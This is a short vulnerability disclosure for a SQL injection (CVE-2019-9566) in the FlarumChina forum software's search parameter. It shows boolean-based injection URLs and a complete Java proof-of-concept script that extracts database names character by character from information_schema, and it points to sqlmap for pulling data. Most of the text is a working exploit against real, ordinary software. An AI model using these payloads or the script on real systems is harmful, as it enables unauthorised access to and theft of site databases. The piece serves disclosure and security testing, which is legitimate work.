FlarumChina SQL injection Vulnerability(CVE-2019-9566)

First,We need to download our vulnerable program in GitHub

links:https://github.com/skywalker512/FlarumChina/

Vulnerable versions: <= FlarumChina-beta.7C

 

When the build is completed, the following image will be displayed

 

So,The SQL Injection Vulnerability in Search Engine

You just need to visit the following links to make your judgment:

(1).http://127.0.0.1/?q=1%' and 1=1 --+

 

(2).http://127.0.0.1/?q=1%' and 1=2 --+

So, by returning the different pages mentioned above, we can see that there is a SQL injection vulnerability in this place.

Of course, I also wrote a script in Java to get the database name.

Although not perfect.

Principle:

http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+

 

This link is returned when the page is normal.

So use this link to judge in my Java program

 

Java Poc:

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;

public class work {

    public static void main(String[] args) throws IOException {
        BufferedReader in = null;
        URL url = null;
        String str = null;
        for(int j=0;j<6;j++) {
            String bm=String.valueOf(j);
            System.out.print(bm+":");
            for (int i=1;i<25;i++) {
                String cs=String.valueOf(i);
                in = new BufferedReader(new FileReader("C:\\Users\\DELL\\Desktop\\superdic.txt"));
                while((str = in.readLine()) != null) {
                    String urlPath = "http://localhost/?q=1%%27%20and%20substr((select%20schema_name%20from%20information_schema.schemata%20limit%20"+bm+",1),"+cs+",1)='"+str+"'%20--+";
                    try {
                        url = new URL(urlPath);
                    } catch (MalformedURLException e) {
                        System.out.println("error:"+cs);
                    } 
                    URLConnection conn = url.openConnection();
                    conn.setDoInput(true); 
                    BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); 
                    StringBuilder sb = new StringBuilder(); 
                    String line = null; 
                    while((line = br.readLine()) != null) {
                        sb.append(line);
                    }
                    if(sb.indexOf("http://localhost/d/2") != -1) {
                        if("+".equals(str)) {
                            break;
                        }
                        System.out.print(str);
                        break;
                    }
                }
                if("+".equals(str)) {
                    break;
                } 
            }
            System.out.print("\n");
        }
        in.close();
    }

}

 

 

Because I don't know how many databases there are, I'm going to run six for loops for the time being.

So the fifth line returned by the script does not have any output.

You can also use sqlmap directly to obtain of data.

Database:

But most websites are delayed, so script testing is recommended.